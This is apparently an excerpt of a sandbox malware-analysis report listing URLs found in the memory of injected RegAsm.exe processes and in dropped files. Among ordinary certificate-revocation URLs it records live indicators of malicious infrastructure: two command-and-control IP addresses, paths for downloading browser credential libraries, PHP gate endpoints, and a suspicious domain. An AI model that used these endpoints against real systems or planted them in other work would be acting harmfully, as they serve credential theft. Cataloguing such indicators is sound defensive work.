Source: RegAsm.exe, 0000002E.00000002.2206607255.0000000000F98000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002E.00000002.2206607255.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/8
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/F
Source: RegAsm.exe, 0000002E.00000002.2206607255.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/R
Source: RegAsm.exe, 0000002E.00000002.2206607255.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/Y
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/freebl3.dll
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/freebl3.dllxq
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/mozglue.dll
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/msvcp140.dll
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/msvcp140.dlllq
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/nss3.dll
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/nss3.dll&aQ~)
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/softokn3.dll
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/softokn3.dllPq
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/sql.dll
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/sql.dllna
Source: RegAsm.exe, 0000002E.00000002.2206607255.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/sql.dllrrentVersion
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000BEF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1929039688.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/vcruntime140.dll
Source: RegAsm.exe, 0000002E.00000002.2206607255.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/~
Source: RegAsm.exe, 0000002E.00000002.2205091531.000000000045A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002E.00000002.2205091531.00000000004CE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002E.00000002.2205091531.00000000005AF000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138:80
Source: RegAsm.exe, 0000002E.00000002.2205091531.00000000004B1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138:80IJ
Source: RegAsm.exe, 0000001D.00000002.1926386102.00000000004CE000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138:80JD
Source: RegAsm.exe, 0000002E.00000002.2205091531.00000000004B1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138:80JK
Source: RegAsm.exe, 0000002E.00000002.2205091531.000000000045A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002E.00000002.2205091531.00000000004CE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002E.00000002.2205091531.00000000005AF000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138:80e
Source: RegAsm.exe, 0000002E.00000002.2205091531.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138:80exe
Source: RegAsm.exe, 0000002E.00000002.2205091531.00000000004B1000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002E.00000002.2205091531.00000000004CE000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138:80fa20b20dvTLLjcqfGclHNCCYSAESCTrC.exe
Source: RegAsm.exe, 0000002E.00000002.2205091531.00000000004CE000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138:80ta
Source: RegAsm.exe, 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109
Source: RegAsm.exe, 00000003.00000002.1384359989.0000000001451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/
Source: RegAsm.exe, 00000003.00000002.1384359989.0000000001451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll
Source: RegAsm.exe, 00000003.00000002.1384359989.0000000001451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll
Source: RegAsm.exe, 00000003.00000002.1384359989.0000000001451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dlli
Source: RegAsm.exe, 00000003.00000002.1384359989.0000000001451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll
Source: RegAsm.exe, 00000003.00000002.1384359989.0000000001451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll(
Source: RegAsm.exe, 00000003.00000002.1384359989.0000000001451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/nss3.dlls
Source: RegAsm.exe, 00000003.00000002.1384359989.0000000001451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll#
Source: RegAsm.exe, 00000003.00000002.1384359989.0000000001451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll-
Source: RegAsm.exe, 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1384359989.0000000001451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll
Source: RegAsm.exe, 00000003.00000002.1384359989.0000000001451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll_
Source: RegAsm.exe, 00000003.00000002.1384359989.000000000140A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll
Source: RegAsm.exe, 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1411146244.00000000276DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php
Source: RegAsm.exe, 00000003.00000002.1384359989.000000000140A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php:#
Source: RegAsm.exe, 00000003.00000002.1384359989.000000000140A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpC
Source: RegAsm.exe, 00000003.00000002.1411146244.00000000276DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpb
Source: RegAsm.exe, 00000003.00000002.1411146244.00000000276B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpnu
Source: RegAsm.exe, 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpry=----IDHIIJJJKEGIDGCBAFIJdefaultrelease
Source: RegAsm.exe, 00000003.00000002.1411146244.00000000276DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpw
Source: RegAsm.exe, 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109KFCFBFIDdata;
Source: userIEHDAFHDHC.exe, 0000001B.00000002.1383374725.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1926386102.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://64532127VdtSrezylanAPHTGetSystemInfoGetSystemTimeSleepkernel32.dllSymMatchStringInternetSetOp
Source: file.exe, HDAFIIDAKJ.exe.29.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, 66cf818156193_ldjfnsfd[1].exe.3.dr, userFBKFCFBFID.exe.3.dr, userIEHDAFHDHC.exe.3.dr, DHCGHDHIDH.exe.29.dr	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.3.dr, softokn3[1].dll.29.dr, freebl3.dll.3.dr, freebl3[1].dll.29.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.3.dr, softokn3[1].dll.29.dr, freebl3.dll.3.dr, freebl3[1].dll.29.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.3.dr, softokn3[1].dll.29.dr, freebl3.dll.3.dr, freebl3[1].dll.29.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: file.exe, HDAFIIDAKJ.exe.29.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, 66cf818156193_ldjfnsfd[1].exe.3.dr, userFBKFCFBFID.exe.3.dr, userIEHDAFHDHC.exe.3.dr, DHCGHDHIDH.exe.29.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.3.dr, softokn3[1].dll.29.dr, freebl3.dll.3.dr, freebl3[1].dll.29.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, HDAFIIDAKJ.exe.29.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, 66cf818156193_ldjfnsfd[1].exe.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, userFBKFCFBFID.exe.3.dr, userIEHDAFHDHC.exe.3.dr, mozglue.dll.3.dr, softokn3[1].dll.29.dr, DHCGHDHIDH.exe.29.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: file.exe, HDAFIIDAKJ.exe.29.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, 66cf818156193_ldjfnsfd[1].exe.3.dr, userFBKFCFBFID.exe.3.dr, userIEHDAFHDHC.exe.3.dr, DHCGHDHIDH.exe.29.dr	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: file.exe, HDAFIIDAKJ.exe.29.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, 66cf818156193_ldjfnsfd[1].exe.3.dr, userFBKFCFBFID.exe.3.dr, userIEHDAFHDHC.exe.3.dr, DHCGHDHIDH.exe.29.dr	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.3.dr, softokn3[1].dll.29.dr, freebl3.dll.3.dr, freebl3[1].dll.29.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.3.dr, softokn3[1].dll.29.dr, freebl3.dll.3.dr, freebl3[1].dll.29.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.3.dr, softokn3[1].dll.29.dr, freebl3.dll.3.dr, freebl3[1].dll.29.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, HDAFIIDAKJ.exe.29.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, 66cf818156193_ldjfnsfd[1].exe.3.dr, userFBKFCFBFID.exe.3.dr, userIEHDAFHDHC.exe.3.dr, DHCGHDHIDH.exe.29.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.3.dr, softokn3[1].dll.29.dr, freebl3.dll.3.dr, freebl3[1].dll.29.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, HDAFIIDAKJ.exe.29.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, 66cf818156193_ldjfnsfd[1].exe.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, userFBKFCFBFID.exe.3.dr, userIEHDAFHDHC.exe.3.dr, mozglue.dll.3.dr, softokn3[1].dll.29.dr, DHCGHDHIDH.exe.29.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.3.dr, softokn3[1].dll.29.dr, freebl3.dll.3.dr, freebl3[1].dll.29.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.3.dr, softokn3[1].dll.29.dr, freebl3.dll.3.dr, freebl3[1].dll.29.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.3.dr, softokn3[1].dll.29.dr, freebl3.dll.3.dr, freebl3[1].dll.29.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, HDAFIIDAKJ.exe.29.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, 66cf818156193_ldjfnsfd[1].exe.3.dr, userFBKFCFBFID.exe.3.dr, userIEHDAFHDHC.exe.3.dr, DHCGHDHIDH.exe.29.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.3.dr, softokn3[1].dll.29.dr, freebl3.dll.3.dr, freebl3[1].dll.29.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, HDAFIIDAKJ.exe.29.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, 66cf818156193_ldjfnsfd[1].exe.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, userFBKFCFBFID.exe.3.dr, userIEHDAFHDHC.exe.3.dr, mozglue.dll.3.dr, softokn3[1].dll.29.dr, DHCGHDHIDH.exe.29.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, HDAFIIDAKJ.exe.29.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, 66cf818156193_ldjfnsfd[1].exe.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, userFBKFCFBFID.exe.3.dr, userIEHDAFHDHC.exe.3.dr, mozglue.dll.3.dr, softokn3[1].dll.29.dr, DHCGHDHIDH.exe.29.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.3.dr, softokn3[1].dll.29.dr, freebl3.dll.3.dr, freebl3[1].dll.29.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.3.dr, softokn3[1].dll.29.dr, freebl3.dll.3.dr, freebl3[1].dll.29.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.3.dr, softokn3[1].dll.29.dr, freebl3.dll.3.dr, freebl3[1].dll.29.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe, HDAFIIDAKJ.exe.29.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, 66cf818156193_ldjfnsfd[1].exe.3.dr, userFBKFCFBFID.exe.3.dr, userIEHDAFHDHC.exe.3.dr, DHCGHDHIDH.exe.29.dr	String found in binary or memory: http://ocsp.entrust.net02
Source: file.exe, HDAFIIDAKJ.exe.29.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, 66cf818156193_ldjfnsfd[1].exe.3.dr, userFBKFCFBFID.exe.3.dr, userIEHDAFHDHC.exe.3.dr, DHCGHDHIDH.exe.29.dr	String found in binary or memory: http://ocsp.entrust.net03
Source: RegAsm.exe, 0000001D.00000002.1926386102.0000000000567000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1926386102.000000000044C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://stadiatechnologies.com
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000BAB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1929039688.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://stadiatechnologies.com/
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000BAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://stadiatechnologies.com/P_
